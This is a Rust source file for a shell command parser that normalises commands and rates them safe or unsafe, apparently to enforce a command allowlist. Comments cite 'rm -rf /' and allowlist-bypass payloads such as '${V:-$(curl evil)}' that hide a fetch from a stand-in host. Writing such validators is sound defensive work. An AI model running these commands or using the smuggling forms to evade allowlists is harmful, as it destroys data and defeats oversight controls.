Skip to repository content1929 lines · 70.2 KB · rust
tenant.openagents/omega
No repository description is available.
OpenAgents Git authority 2026-07-28T02:22:26.363Z Public web read
NIP-34 coordinate
30617:7649603503856e5148d571eac2766b288a8ff1e9e35d380337a1d2b0015b4f92:omegaMaintainersHidden in public view
References2 branches · 1 tag
Read-only clone
git clone https://openagents.com/git/tenant.openagents/omega.gitBrowse files
shell_command_parser.rs
1use brush_parser::ast;
2use brush_parser::ast::SourceLocation;
3use brush_parser::word::WordPiece;
4use brush_parser::{Parser, ParserOptions, SourceInfo};
5use std::io::BufReader;
6
7#[derive(Debug, Clone, PartialEq, Eq)]
8pub struct TerminalCommandPrefix {
9 pub normalized: String,
10 pub display: String,
11 pub tokens: Vec<String>,
12 pub command: String,
13 pub subcommand: Option<String>,
14}
15
16#[derive(Debug, Clone, PartialEq, Eq)]
17pub enum TerminalCommandValidation {
18 Safe,
19 Unsafe,
20 Unsupported,
21}
22
23pub fn extract_commands(command: &str) -> Option<Vec<String>> {
24 let reader = BufReader::new(command.as_bytes());
25 let options = ParserOptions::default();
26 let source_info = SourceInfo::default();
27 let mut parser = Parser::new(reader, &options, &source_info);
28
29 let program = parser.parse_program().ok()?;
30
31 let mut commands = Vec::new();
32 extract_commands_from_program(&program, &mut commands)?;
33
34 Some(commands)
35}
36
37pub fn extract_terminal_command_prefix(command: &str) -> Option<TerminalCommandPrefix> {
38 let reader = BufReader::new(command.as_bytes());
39 let options = ParserOptions::default();
40 let source_info = SourceInfo::default();
41 let mut parser = Parser::new(reader, &options, &source_info);
42
43 let program = parser.parse_program().ok()?;
44 let simple_command = first_simple_command(&program)?;
45
46 let mut normalized_tokens = Vec::new();
47 let mut display_start = None;
48 let mut display_end = None;
49
50 if let Some(prefix) = &simple_command.prefix {
51 for item in &prefix.0 {
52 if let ast::CommandPrefixOrSuffixItem::AssignmentWord(assignment, word) = item {
53 match normalize_assignment_for_command_prefix(assignment, word)? {
54 NormalizedAssignment::Included(normalized_assignment) => {
55 normalized_tokens.push(normalized_assignment);
56 update_display_bounds(&mut display_start, &mut display_end, word);
57 }
58 NormalizedAssignment::Skipped => {}
59 }
60 }
61 }
62 }
63
64 let command_word = simple_command.word_or_name.as_ref()?;
65 let command_name = normalize_word(command_word)?;
66 normalized_tokens.push(command_name.clone());
67 update_display_bounds(&mut display_start, &mut display_end, command_word);
68
69 let mut subcommand = None;
70 if let Some(suffix) = &simple_command.suffix {
71 for item in &suffix.0 {
72 match item {
73 ast::CommandPrefixOrSuffixItem::IoRedirect(_) => continue,
74 ast::CommandPrefixOrSuffixItem::Word(word) => {
75 let normalized_word = normalize_word(word)?;
76 if !normalized_word.starts_with('-') {
77 subcommand = Some(normalized_word.clone());
78 normalized_tokens.push(normalized_word);
79 update_display_bounds(&mut display_start, &mut display_end, word);
80 }
81 break;
82 }
83 _ => break,
84 }
85 }
86 }
87
88 let start = display_start?;
89 let end = display_end?;
90 let display = command.get(start..end)?.to_string();
91
92 Some(TerminalCommandPrefix {
93 normalized: normalized_tokens.join(" "),
94 display,
95 tokens: normalized_tokens,
96 command: command_name,
97 subcommand,
98 })
99}
100
101pub fn validate_terminal_command(command: &str) -> TerminalCommandValidation {
102 let reader = BufReader::new(command.as_bytes());
103 let options = ParserOptions::default();
104 let source_info = SourceInfo::default();
105 let mut parser = Parser::new(reader, &options, &source_info);
106
107 let program = match parser.parse_program() {
108 Ok(program) => program,
109 Err(_) => return TerminalCommandValidation::Unsupported,
110 };
111
112 match program_validation(&program) {
113 TerminalProgramValidation::Safe => TerminalCommandValidation::Safe,
114 TerminalProgramValidation::Unsafe => TerminalCommandValidation::Unsafe,
115 TerminalProgramValidation::Unsupported => TerminalCommandValidation::Unsupported,
116 }
117}
118
119#[derive(Debug, Clone, Copy, PartialEq, Eq)]
120enum TerminalProgramValidation {
121 Safe,
122 Unsafe,
123 Unsupported,
124}
125
126fn first_simple_command(program: &ast::Program) -> Option<&ast::SimpleCommand> {
127 let complete_command = program.complete_commands.first()?;
128 let compound_list_item = complete_command.0.first()?;
129 let command = compound_list_item.0.first.seq.first()?;
130
131 match command {
132 ast::Command::Simple(simple_command) => Some(simple_command),
133 _ => None,
134 }
135}
136
137fn update_display_bounds(start: &mut Option<usize>, end: &mut Option<usize>, word: &ast::Word) {
138 if let Some(location) = word.location() {
139 let word_start = location.start.index;
140 let word_end = location.end.index;
141 *start = Some(start.map_or(word_start, |current| current.min(word_start)));
142 *end = Some(end.map_or(word_end, |current| current.max(word_end)));
143 }
144}
145
146enum NormalizedAssignment {
147 Included(String),
148 Skipped,
149}
150
151fn normalize_assignment_for_command_prefix(
152 assignment: &ast::Assignment,
153 word: &ast::Word,
154) -> Option<NormalizedAssignment> {
155 let operator = if assignment.append { "+=" } else { "=" };
156 let assignment_prefix = format!("{}{}", assignment.name, operator);
157
158 match &assignment.value {
159 ast::AssignmentValue::Scalar(value) => {
160 let normalized_value = normalize_word(value)?;
161 let raw_value = word.value.strip_prefix(&assignment_prefix)?;
162 let rendered_value = if shell_value_requires_quoting(&normalized_value) {
163 raw_value.to_string()
164 } else {
165 normalized_value
166 };
167
168 Some(NormalizedAssignment::Included(format!(
169 "{assignment_prefix}{rendered_value}"
170 )))
171 }
172 ast::AssignmentValue::Array(_) => Some(NormalizedAssignment::Skipped),
173 }
174}
175
176fn shell_value_requires_quoting(value: &str) -> bool {
177 value.chars().any(|character| {
178 character.is_whitespace()
179 || !matches!(
180 character,
181 'a'..='z'
182 | 'A'..='Z'
183 | '0'..='9'
184 | '_'
185 | '@'
186 | '%'
187 | '+'
188 | '='
189 | ':'
190 | ','
191 | '.'
192 | '/'
193 | '-'
194 )
195 })
196}
197
198fn program_validation(program: &ast::Program) -> TerminalProgramValidation {
199 combine_validations(
200 program
201 .complete_commands
202 .iter()
203 .map(compound_list_validation),
204 )
205}
206
207fn compound_list_validation(compound_list: &ast::CompoundList) -> TerminalProgramValidation {
208 combine_validations(
209 compound_list
210 .0
211 .iter()
212 .map(|item| and_or_list_validation(&item.0)),
213 )
214}
215
216fn and_or_list_validation(and_or_list: &ast::AndOrList) -> TerminalProgramValidation {
217 combine_validations(
218 std::iter::once(pipeline_validation(&and_or_list.first)).chain(
219 and_or_list.additional.iter().map(|and_or| match and_or {
220 ast::AndOr::And(pipeline) | ast::AndOr::Or(pipeline) => {
221 pipeline_validation(pipeline)
222 }
223 }),
224 ),
225 )
226}
227
228fn pipeline_validation(pipeline: &ast::Pipeline) -> TerminalProgramValidation {
229 combine_validations(pipeline.seq.iter().map(command_validation))
230}
231
232fn command_validation(command: &ast::Command) -> TerminalProgramValidation {
233 match command {
234 ast::Command::Simple(simple_command) => simple_command_validation(simple_command),
235 ast::Command::Compound(compound_command, redirect_list) => combine_validations(
236 std::iter::once(compound_command_validation(compound_command))
237 .chain(redirect_list.iter().map(redirect_list_validation)),
238 ),
239 ast::Command::Function(function_definition) => {
240 function_body_validation(&function_definition.body)
241 }
242 ast::Command::ExtendedTest(test_expr) => extended_test_expr_validation(test_expr),
243 }
244}
245
246fn simple_command_validation(simple_command: &ast::SimpleCommand) -> TerminalProgramValidation {
247 combine_validations(
248 simple_command
249 .prefix
250 .iter()
251 .map(command_prefix_validation)
252 .chain(simple_command.word_or_name.iter().map(word_validation))
253 .chain(simple_command.suffix.iter().map(command_suffix_validation)),
254 )
255}
256
257fn command_prefix_validation(prefix: &ast::CommandPrefix) -> TerminalProgramValidation {
258 combine_validations(prefix.0.iter().map(prefix_or_suffix_item_validation))
259}
260
261fn command_suffix_validation(suffix: &ast::CommandSuffix) -> TerminalProgramValidation {
262 combine_validations(suffix.0.iter().map(prefix_or_suffix_item_validation))
263}
264
265fn prefix_or_suffix_item_validation(
266 item: &ast::CommandPrefixOrSuffixItem,
267) -> TerminalProgramValidation {
268 match item {
269 ast::CommandPrefixOrSuffixItem::IoRedirect(redirect) => io_redirect_validation(redirect),
270 ast::CommandPrefixOrSuffixItem::Word(word) => word_validation(word),
271 ast::CommandPrefixOrSuffixItem::AssignmentWord(assignment, word) => {
272 combine_validations([assignment_validation(assignment), word_validation(word)])
273 }
274 ast::CommandPrefixOrSuffixItem::ProcessSubstitution(_, _) => {
275 TerminalProgramValidation::Unsafe
276 }
277 }
278}
279
280fn io_redirect_validation(redirect: &ast::IoRedirect) -> TerminalProgramValidation {
281 match redirect {
282 ast::IoRedirect::File(_, _, target) => match target {
283 ast::IoFileRedirectTarget::Filename(word) => word_validation(word),
284 ast::IoFileRedirectTarget::ProcessSubstitution(_, _) => {
285 TerminalProgramValidation::Unsafe
286 }
287 _ => TerminalProgramValidation::Safe,
288 },
289 ast::IoRedirect::HereDocument(_, here_doc) => {
290 if here_doc.requires_expansion {
291 word_validation(&here_doc.doc)
292 } else {
293 TerminalProgramValidation::Safe
294 }
295 }
296 ast::IoRedirect::HereString(_, word) | ast::IoRedirect::OutputAndError(word, _) => {
297 word_validation(word)
298 }
299 }
300}
301
302fn assignment_validation(assignment: &ast::Assignment) -> TerminalProgramValidation {
303 match &assignment.value {
304 ast::AssignmentValue::Scalar(word) => word_validation(word),
305 ast::AssignmentValue::Array(words) => {
306 combine_validations(words.iter().flat_map(|(key, value)| {
307 key.iter()
308 .map(word_validation)
309 .chain(std::iter::once(word_validation(value)))
310 }))
311 }
312 }
313}
314
315fn word_validation(word: &ast::Word) -> TerminalProgramValidation {
316 let options = ParserOptions::default();
317 let pieces = match brush_parser::word::parse(&word.value, &options) {
318 Ok(pieces) => pieces,
319 Err(_) => return TerminalProgramValidation::Unsupported,
320 };
321
322 combine_validations(
323 pieces
324 .iter()
325 .map(|piece_with_source| word_piece_validation(&piece_with_source.piece)),
326 )
327}
328
329fn word_piece_validation(piece: &WordPiece) -> TerminalProgramValidation {
330 match piece {
331 WordPiece::Text(_)
332 | WordPiece::SingleQuotedText(_)
333 | WordPiece::AnsiCQuotedText(_)
334 | WordPiece::EscapeSequence(_)
335 | WordPiece::TildePrefix(_) => TerminalProgramValidation::Safe,
336 WordPiece::DoubleQuotedSequence(pieces)
337 | WordPiece::GettextDoubleQuotedSequence(pieces) => combine_validations(
338 pieces
339 .iter()
340 .map(|inner| word_piece_validation(&inner.piece)),
341 ),
342 WordPiece::ParameterExpansion(_) | WordPiece::ArithmeticExpression(_) => {
343 TerminalProgramValidation::Unsafe
344 }
345 WordPiece::CommandSubstitution(command)
346 | WordPiece::BackquotedCommandSubstitution(command) => {
347 let reader = BufReader::new(command.as_bytes());
348 let options = ParserOptions::default();
349 let source_info = SourceInfo::default();
350 let mut parser = Parser::new(reader, &options, &source_info);
351
352 match parser.parse_program() {
353 Ok(_) => TerminalProgramValidation::Unsafe,
354 Err(_) => TerminalProgramValidation::Unsupported,
355 }
356 }
357 }
358}
359
360fn compound_command_validation(
361 compound_command: &ast::CompoundCommand,
362) -> TerminalProgramValidation {
363 match compound_command {
364 ast::CompoundCommand::BraceGroup(brace_group) => {
365 compound_list_validation(&brace_group.list)
366 }
367 ast::CompoundCommand::Subshell(subshell) => compound_list_validation(&subshell.list),
368 ast::CompoundCommand::ForClause(for_clause) => combine_validations(
369 for_clause
370 .values
371 .iter()
372 .flat_map(|values| values.iter().map(word_validation))
373 .chain(std::iter::once(do_group_validation(&for_clause.body))),
374 ),
375 ast::CompoundCommand::CaseClause(case_clause) => combine_validations(
376 std::iter::once(word_validation(&case_clause.value))
377 .chain(
378 case_clause
379 .cases
380 .iter()
381 .flat_map(|item| item.cmd.iter().map(compound_list_validation)),
382 )
383 .chain(
384 case_clause
385 .cases
386 .iter()
387 .flat_map(|item| item.patterns.iter().map(word_validation)),
388 ),
389 ),
390 ast::CompoundCommand::IfClause(if_clause) => combine_validations(
391 std::iter::once(compound_list_validation(&if_clause.condition))
392 .chain(std::iter::once(compound_list_validation(&if_clause.then)))
393 .chain(if_clause.elses.iter().flat_map(|elses| {
394 elses.iter().flat_map(|else_item| {
395 else_item
396 .condition
397 .iter()
398 .map(compound_list_validation)
399 .chain(std::iter::once(compound_list_validation(&else_item.body)))
400 })
401 })),
402 ),
403 ast::CompoundCommand::WhileClause(while_clause)
404 | ast::CompoundCommand::UntilClause(while_clause) => combine_validations([
405 compound_list_validation(&while_clause.0),
406 do_group_validation(&while_clause.1),
407 ]),
408 ast::CompoundCommand::ArithmeticForClause(_) => TerminalProgramValidation::Unsafe,
409 ast::CompoundCommand::Arithmetic(_) => TerminalProgramValidation::Unsafe,
410 }
411}
412
413fn do_group_validation(do_group: &ast::DoGroupCommand) -> TerminalProgramValidation {
414 compound_list_validation(&do_group.list)
415}
416
417fn function_body_validation(function_body: &ast::FunctionBody) -> TerminalProgramValidation {
418 combine_validations(
419 std::iter::once(compound_command_validation(&function_body.0))
420 .chain(function_body.1.iter().map(redirect_list_validation)),
421 )
422}
423
424fn redirect_list_validation(redirect_list: &ast::RedirectList) -> TerminalProgramValidation {
425 combine_validations(redirect_list.0.iter().map(io_redirect_validation))
426}
427
428fn extended_test_expr_validation(
429 test_expr: &ast::ExtendedTestExprCommand,
430) -> TerminalProgramValidation {
431 extended_test_expr_inner_validation(&test_expr.expr)
432}
433
434fn extended_test_expr_inner_validation(expr: &ast::ExtendedTestExpr) -> TerminalProgramValidation {
435 match expr {
436 ast::ExtendedTestExpr::Not(inner) | ast::ExtendedTestExpr::Parenthesized(inner) => {
437 extended_test_expr_inner_validation(inner)
438 }
439 ast::ExtendedTestExpr::And(left, right) | ast::ExtendedTestExpr::Or(left, right) => {
440 combine_validations([
441 extended_test_expr_inner_validation(left),
442 extended_test_expr_inner_validation(right),
443 ])
444 }
445 ast::ExtendedTestExpr::UnaryTest(_, word) => word_validation(word),
446 ast::ExtendedTestExpr::BinaryTest(_, left, right) => {
447 combine_validations([word_validation(left), word_validation(right)])
448 }
449 }
450}
451
452fn combine_validations(
453 validations: impl IntoIterator<Item = TerminalProgramValidation>,
454) -> TerminalProgramValidation {
455 let mut saw_unsafe = false;
456 let mut saw_unsupported = false;
457
458 for validation in validations {
459 match validation {
460 TerminalProgramValidation::Unsupported => saw_unsupported = true,
461 TerminalProgramValidation::Unsafe => saw_unsafe = true,
462 TerminalProgramValidation::Safe => {}
463 }
464 }
465
466 if saw_unsafe {
467 TerminalProgramValidation::Unsafe
468 } else if saw_unsupported {
469 TerminalProgramValidation::Unsupported
470 } else {
471 TerminalProgramValidation::Safe
472 }
473}
474
475fn extract_commands_from_program(program: &ast::Program, commands: &mut Vec<String>) -> Option<()> {
476 for complete_command in &program.complete_commands {
477 extract_commands_from_compound_list(complete_command, commands)?;
478 }
479 Some(())
480}
481
482fn extract_commands_from_compound_list(
483 compound_list: &ast::CompoundList,
484 commands: &mut Vec<String>,
485) -> Option<()> {
486 for item in &compound_list.0 {
487 extract_commands_from_and_or_list(&item.0, commands)?;
488 }
489 Some(())
490}
491
492fn extract_commands_from_and_or_list(
493 and_or_list: &ast::AndOrList,
494 commands: &mut Vec<String>,
495) -> Option<()> {
496 extract_commands_from_pipeline(&and_or_list.first, commands)?;
497
498 for and_or in &and_or_list.additional {
499 match and_or {
500 ast::AndOr::And(pipeline) | ast::AndOr::Or(pipeline) => {
501 extract_commands_from_pipeline(pipeline, commands)?;
502 }
503 }
504 }
505 Some(())
506}
507
508fn extract_commands_from_pipeline(
509 pipeline: &ast::Pipeline,
510 commands: &mut Vec<String>,
511) -> Option<()> {
512 for command in &pipeline.seq {
513 extract_commands_from_command(command, commands)?;
514 }
515 Some(())
516}
517
518fn extract_commands_from_command(command: &ast::Command, commands: &mut Vec<String>) -> Option<()> {
519 match command {
520 ast::Command::Simple(simple_command) => {
521 extract_commands_from_simple_command(simple_command, commands)?;
522 }
523 ast::Command::Compound(compound_command, redirect_list) => {
524 let body_start = extract_commands_from_compound_command(compound_command, commands)?;
525 if let Some(redirect_list) = redirect_list {
526 let mut normalized_redirects = Vec::new();
527 for redirect in &redirect_list.0 {
528 match normalize_io_redirect(redirect)? {
529 RedirectNormalization::Normalized(s) => normalized_redirects.push(s),
530 RedirectNormalization::Skip => {}
531 }
532 }
533 if !normalized_redirects.is_empty() {
534 if body_start >= commands.len() {
535 return None;
536 }
537 commands.extend(normalized_redirects);
538 }
539 for redirect in &redirect_list.0 {
540 extract_commands_from_io_redirect(redirect, commands)?;
541 }
542 }
543 }
544 ast::Command::Function(func_def) => {
545 extract_commands_from_function_body(&func_def.body, commands)?;
546 }
547 ast::Command::ExtendedTest(test_expr) => {
548 extract_commands_from_extended_test_expr(test_expr, commands)?;
549 }
550 }
551 Some(())
552}
553
554enum RedirectNormalization {
555 Normalized(String),
556 Skip,
557}
558
559fn extract_commands_from_simple_command(
560 simple_command: &ast::SimpleCommand,
561 commands: &mut Vec<String>,
562) -> Option<()> {
563 // Build a normalized command string from individual words, stripping shell
564 // quotes so that security patterns match regardless of quoting style.
565 // For example, both `rm -rf '/'` and `rm -rf /` normalize to "rm -rf /".
566 //
567 // If any word fails to normalize, we return None so that `extract_commands`
568 // returns None — the same as a shell parse failure. The caller then falls
569 // back to raw-input matching with always_allow disabled.
570 let mut words = Vec::new();
571 let mut redirects = Vec::new();
572
573 if let Some(prefix) = &simple_command.prefix {
574 for item in &prefix.0 {
575 match item {
576 ast::CommandPrefixOrSuffixItem::IoRedirect(redirect) => {
577 match normalize_io_redirect(redirect) {
578 Some(RedirectNormalization::Normalized(s)) => redirects.push(s),
579 Some(RedirectNormalization::Skip) => {}
580 None => return None,
581 }
582 }
583 ast::CommandPrefixOrSuffixItem::AssignmentWord(assignment, word) => {
584 match normalize_assignment_for_command_prefix(assignment, word)? {
585 NormalizedAssignment::Included(normalized_assignment) => {
586 words.push(normalized_assignment);
587 }
588 NormalizedAssignment::Skipped => {}
589 }
590 }
591 ast::CommandPrefixOrSuffixItem::Word(word) => {
592 words.push(normalize_word(word)?);
593 }
594 ast::CommandPrefixOrSuffixItem::ProcessSubstitution(_, _) => return None,
595 }
596 }
597 }
598 if let Some(word) = &simple_command.word_or_name {
599 words.push(normalize_word(word)?);
600 }
601 if let Some(suffix) = &simple_command.suffix {
602 for item in &suffix.0 {
603 match item {
604 ast::CommandPrefixOrSuffixItem::Word(word) => {
605 words.push(normalize_word(word)?);
606 }
607 ast::CommandPrefixOrSuffixItem::IoRedirect(redirect) => {
608 match normalize_io_redirect(redirect) {
609 Some(RedirectNormalization::Normalized(s)) => redirects.push(s),
610 Some(RedirectNormalization::Skip) => {}
611 None => return None,
612 }
613 }
614 ast::CommandPrefixOrSuffixItem::AssignmentWord(assignment, word) => {
615 match normalize_assignment_for_command_prefix(assignment, word)? {
616 NormalizedAssignment::Included(normalized_assignment) => {
617 words.push(normalized_assignment);
618 }
619 NormalizedAssignment::Skipped => {}
620 }
621 }
622 ast::CommandPrefixOrSuffixItem::ProcessSubstitution(_, _) => {}
623 }
624 }
625 }
626
627 if words.is_empty() && !redirects.is_empty() {
628 return None;
629 }
630
631 let command_str = words.join(" ");
632 if !command_str.is_empty() {
633 commands.push(command_str);
634 }
635 commands.extend(redirects);
636
637 // Extract nested commands from command substitutions, process substitutions, etc.
638 if let Some(prefix) = &simple_command.prefix {
639 extract_commands_from_command_prefix(prefix, commands)?;
640 }
641 if let Some(word) = &simple_command.word_or_name {
642 extract_commands_from_word(word, commands)?;
643 }
644 if let Some(suffix) = &simple_command.suffix {
645 extract_commands_from_command_suffix(suffix, commands)?;
646 }
647 Some(())
648}
649
650/// Normalizes a shell word by stripping quoting syntax and returning the
651/// semantic (unquoted) value. Returns `None` if word parsing fails.
652fn normalize_word(word: &ast::Word) -> Option<String> {
653 let options = ParserOptions::default();
654 let pieces = brush_parser::word::parse(&word.value, &options).ok()?;
655 let mut result = String::new();
656 for piece_with_source in &pieces {
657 normalize_word_piece_into(
658 &piece_with_source.piece,
659 &word.value,
660 piece_with_source.start_index,
661 piece_with_source.end_index,
662 &mut result,
663 )?;
664 }
665 Some(result)
666}
667
668fn normalize_word_piece_into(
669 piece: &WordPiece,
670 raw_value: &str,
671 start_index: usize,
672 end_index: usize,
673 result: &mut String,
674) -> Option<()> {
675 match piece {
676 WordPiece::Text(text) => result.push_str(text),
677 WordPiece::SingleQuotedText(text) => result.push_str(text),
678 WordPiece::AnsiCQuotedText(text) => result.push_str(text),
679 WordPiece::EscapeSequence(text) => {
680 result.push_str(text.strip_prefix('\\').unwrap_or(text));
681 }
682 WordPiece::DoubleQuotedSequence(pieces)
683 | WordPiece::GettextDoubleQuotedSequence(pieces) => {
684 for inner in pieces {
685 normalize_word_piece_into(
686 &inner.piece,
687 raw_value,
688 inner.start_index,
689 inner.end_index,
690 result,
691 )?;
692 }
693 }
694 WordPiece::TildePrefix(prefix) => {
695 result.push('~');
696 result.push_str(prefix);
697 }
698 // For parameter expansions, command substitutions, and arithmetic expressions,
699 // preserve the original source text so that patterns like `\$HOME` continue
700 // to match.
701 WordPiece::ParameterExpansion(_)
702 | WordPiece::CommandSubstitution(_)
703 | WordPiece::BackquotedCommandSubstitution(_)
704 | WordPiece::ArithmeticExpression(_) => {
705 let source = raw_value.get(start_index..end_index)?;
706 result.push_str(source);
707 }
708 }
709 Some(())
710}
711
712fn is_known_safe_redirect_target(normalized_target: &str) -> bool {
713 normalized_target == "/dev/null"
714}
715
716fn normalize_io_redirect(redirect: &ast::IoRedirect) -> Option<RedirectNormalization> {
717 match redirect {
718 ast::IoRedirect::File(fd, kind, target) => {
719 let target_word = match target {
720 ast::IoFileRedirectTarget::Filename(word) => word,
721 _ => return Some(RedirectNormalization::Skip),
722 };
723 let operator = match kind {
724 ast::IoFileRedirectKind::Read => "<",
725 ast::IoFileRedirectKind::Write => ">",
726 ast::IoFileRedirectKind::Append => ">>",
727 ast::IoFileRedirectKind::ReadAndWrite => "<>",
728 ast::IoFileRedirectKind::Clobber => ">|",
729 // The parser pairs DuplicateInput/DuplicateOutput with
730 // IoFileRedirectTarget::Duplicate (not Filename), so the
731 // target match above will return Skip before we reach here.
732 // These arms are kept for defensiveness.
733 ast::IoFileRedirectKind::DuplicateInput => "<&",
734 ast::IoFileRedirectKind::DuplicateOutput => ">&",
735 };
736 let fd_prefix = match fd {
737 Some(fd) => fd.to_string(),
738 None => String::new(),
739 };
740 let normalized = normalize_word(target_word)?;
741 if is_known_safe_redirect_target(&normalized) {
742 return Some(RedirectNormalization::Skip);
743 }
744 Some(RedirectNormalization::Normalized(format!(
745 "{}{} {}",
746 fd_prefix, operator, normalized
747 )))
748 }
749 ast::IoRedirect::OutputAndError(word, append) => {
750 let operator = if *append { "&>>" } else { "&>" };
751 let normalized = normalize_word(word)?;
752 if is_known_safe_redirect_target(&normalized) {
753 return Some(RedirectNormalization::Skip);
754 }
755 Some(RedirectNormalization::Normalized(format!(
756 "{} {}",
757 operator, normalized
758 )))
759 }
760 ast::IoRedirect::HereDocument(_, _) | ast::IoRedirect::HereString(_, _) => {
761 Some(RedirectNormalization::Skip)
762 }
763 }
764}
765
766fn extract_commands_from_command_prefix(
767 prefix: &ast::CommandPrefix,
768 commands: &mut Vec<String>,
769) -> Option<()> {
770 for item in &prefix.0 {
771 extract_commands_from_prefix_or_suffix_item(item, commands)?;
772 }
773 Some(())
774}
775
776fn extract_commands_from_command_suffix(
777 suffix: &ast::CommandSuffix,
778 commands: &mut Vec<String>,
779) -> Option<()> {
780 for item in &suffix.0 {
781 extract_commands_from_prefix_or_suffix_item(item, commands)?;
782 }
783 Some(())
784}
785
786fn extract_commands_from_prefix_or_suffix_item(
787 item: &ast::CommandPrefixOrSuffixItem,
788 commands: &mut Vec<String>,
789) -> Option<()> {
790 match item {
791 ast::CommandPrefixOrSuffixItem::IoRedirect(redirect) => {
792 extract_commands_from_io_redirect(redirect, commands)?;
793 }
794 ast::CommandPrefixOrSuffixItem::AssignmentWord(assignment, _word) => {
795 extract_commands_from_assignment(assignment, commands)?;
796 }
797 ast::CommandPrefixOrSuffixItem::Word(word) => {
798 extract_commands_from_word(word, commands)?;
799 }
800 ast::CommandPrefixOrSuffixItem::ProcessSubstitution(_kind, subshell) => {
801 extract_commands_from_compound_list(&subshell.list, commands)?;
802 }
803 }
804 Some(())
805}
806
807fn extract_commands_from_io_redirect(
808 redirect: &ast::IoRedirect,
809 commands: &mut Vec<String>,
810) -> Option<()> {
811 match redirect {
812 ast::IoRedirect::File(_fd, _kind, target) => match target {
813 ast::IoFileRedirectTarget::ProcessSubstitution(_kind, subshell) => {
814 extract_commands_from_compound_list(&subshell.list, commands)?;
815 }
816 ast::IoFileRedirectTarget::Filename(word) => {
817 extract_commands_from_word(word, commands)?;
818 }
819 _ => {}
820 },
821 ast::IoRedirect::HereDocument(_fd, here_doc) => {
822 if here_doc.requires_expansion {
823 extract_commands_from_word(&here_doc.doc, commands)?;
824 }
825 }
826 ast::IoRedirect::HereString(_fd, word) => {
827 extract_commands_from_word(word, commands)?;
828 }
829 ast::IoRedirect::OutputAndError(word, _) => {
830 extract_commands_from_word(word, commands)?;
831 }
832 }
833 Some(())
834}
835
836fn extract_commands_from_assignment(
837 assignment: &ast::Assignment,
838 commands: &mut Vec<String>,
839) -> Option<()> {
840 match &assignment.value {
841 ast::AssignmentValue::Scalar(word) => {
842 extract_commands_from_word(word, commands)?;
843 }
844 ast::AssignmentValue::Array(words) => {
845 for (opt_word, word) in words {
846 if let Some(w) = opt_word {
847 extract_commands_from_word(w, commands)?;
848 }
849 extract_commands_from_word(word, commands)?;
850 }
851 }
852 }
853 Some(())
854}
855
856fn extract_commands_from_word(word: &ast::Word, commands: &mut Vec<String>) -> Option<()> {
857 let options = ParserOptions::default();
858 let pieces = brush_parser::word::parse(&word.value, &options).ok()?;
859 for piece_with_source in pieces {
860 extract_commands_from_word_piece(&piece_with_source.piece, commands)?;
861 }
862 Some(())
863}
864
865fn extract_commands_from_word_piece(piece: &WordPiece, commands: &mut Vec<String>) -> Option<()> {
866 match piece {
867 WordPiece::CommandSubstitution(cmd_str)
868 | WordPiece::BackquotedCommandSubstitution(cmd_str) => {
869 let nested_commands = extract_commands(cmd_str)?;
870 commands.extend(nested_commands);
871 }
872 WordPiece::DoubleQuotedSequence(pieces)
873 | WordPiece::GettextDoubleQuotedSequence(pieces) => {
874 for inner_piece_with_source in pieces {
875 extract_commands_from_word_piece(&inner_piece_with_source.piece, commands)?;
876 }
877 }
878 WordPiece::ArithmeticExpression(expr) => {
879 // The arithmetic body may contain `$(...)` or `${...}` that bash will
880 // evaluate before doing arithmetic. Re-parse to extract those.
881 // We propagate parse failures with `?` so that callers fail closed
882 // (treating the whole input as a parse failure) rather than silently
883 // dropping commands hidden inside content brush couldn't tokenize.
884 extract_commands_from_word_string(&expr.value, commands)?;
885 }
886 WordPiece::ParameterExpansion(expr) => {
887 extract_commands_from_parameter_expr(expr, commands)?;
888 }
889 WordPiece::EscapeSequence(_)
890 | WordPiece::SingleQuotedText(_)
891 | WordPiece::Text(_)
892 | WordPiece::AnsiCQuotedText(_)
893 | WordPiece::TildePrefix(_) => {}
894 }
895 Some(())
896}
897
898/// Re-parses a string as a bash word and recurses into its pieces to extract
899/// any nested command substitutions. Returns `None` (failing closed) if brush
900/// cannot tokenize the input, so callers treat allowlist decisions about this
901/// input as untrusted.
902fn extract_commands_from_word_string(s: &str, commands: &mut Vec<String>) -> Option<()> {
903 let options = ParserOptions::default();
904 let pieces = brush_parser::word::parse(s, &options).ok()?;
905 for inner_piece in pieces {
906 extract_commands_from_word_piece(&inner_piece.piece, commands)?;
907 }
908 Some(())
909}
910
911/// Recurses into the string-typed fields of a parameter expansion that bash
912/// will subject to command substitution at expansion time, mirroring the
913/// arithmetic expansion handling. Failing to extend this when adding new
914/// `ParameterExpr` variants risks an allowlist bypass via e.g.
915/// `${V:-$(curl evil)}`, `${V/pat/$(curl evil)}`, `${V:$(($(curl))):1}`.
916fn extract_commands_from_parameter_expr(
917 expr: &brush_parser::word::ParameterExpr,
918 commands: &mut Vec<String>,
919) -> Option<()> {
920 use brush_parser::word::ParameterExpr;
921 match expr {
922 ParameterExpr::Parameter { .. }
923 | ParameterExpr::ParameterLength { .. }
924 | ParameterExpr::Transform { .. }
925 | ParameterExpr::VariableNames { .. }
926 | ParameterExpr::MemberKeys { .. } => {}
927 ParameterExpr::UseDefaultValues { default_value, .. }
928 | ParameterExpr::AssignDefaultValues { default_value, .. } => {
929 if let Some(value) = default_value {
930 extract_commands_from_word_string(value, commands)?;
931 }
932 }
933 ParameterExpr::IndicateErrorIfNullOrUnset { error_message, .. } => {
934 if let Some(value) = error_message {
935 extract_commands_from_word_string(value, commands)?;
936 }
937 }
938 ParameterExpr::UseAlternativeValue {
939 alternative_value, ..
940 } => {
941 if let Some(value) = alternative_value {
942 extract_commands_from_word_string(value, commands)?;
943 }
944 }
945 ParameterExpr::RemoveSmallestSuffixPattern { pattern, .. }
946 | ParameterExpr::RemoveLargestSuffixPattern { pattern, .. }
947 | ParameterExpr::RemoveSmallestPrefixPattern { pattern, .. }
948 | ParameterExpr::RemoveLargestPrefixPattern { pattern, .. }
949 | ParameterExpr::UppercaseFirstChar { pattern, .. }
950 | ParameterExpr::UppercasePattern { pattern, .. }
951 | ParameterExpr::LowercaseFirstChar { pattern, .. }
952 | ParameterExpr::LowercasePattern { pattern, .. } => {
953 if let Some(pattern) = pattern {
954 extract_commands_from_word_string(pattern, commands)?;
955 }
956 }
957 ParameterExpr::Substring { offset, length, .. } => {
958 extract_commands_from_word_string(&offset.value, commands)?;
959 if let Some(length) = length {
960 extract_commands_from_word_string(&length.value, commands)?;
961 }
962 }
963 ParameterExpr::ReplaceSubstring {
964 pattern,
965 replacement,
966 ..
967 } => {
968 extract_commands_from_word_string(pattern, commands)?;
969 if let Some(replacement) = replacement {
970 extract_commands_from_word_string(replacement, commands)?;
971 }
972 }
973 }
974 Some(())
975}
976
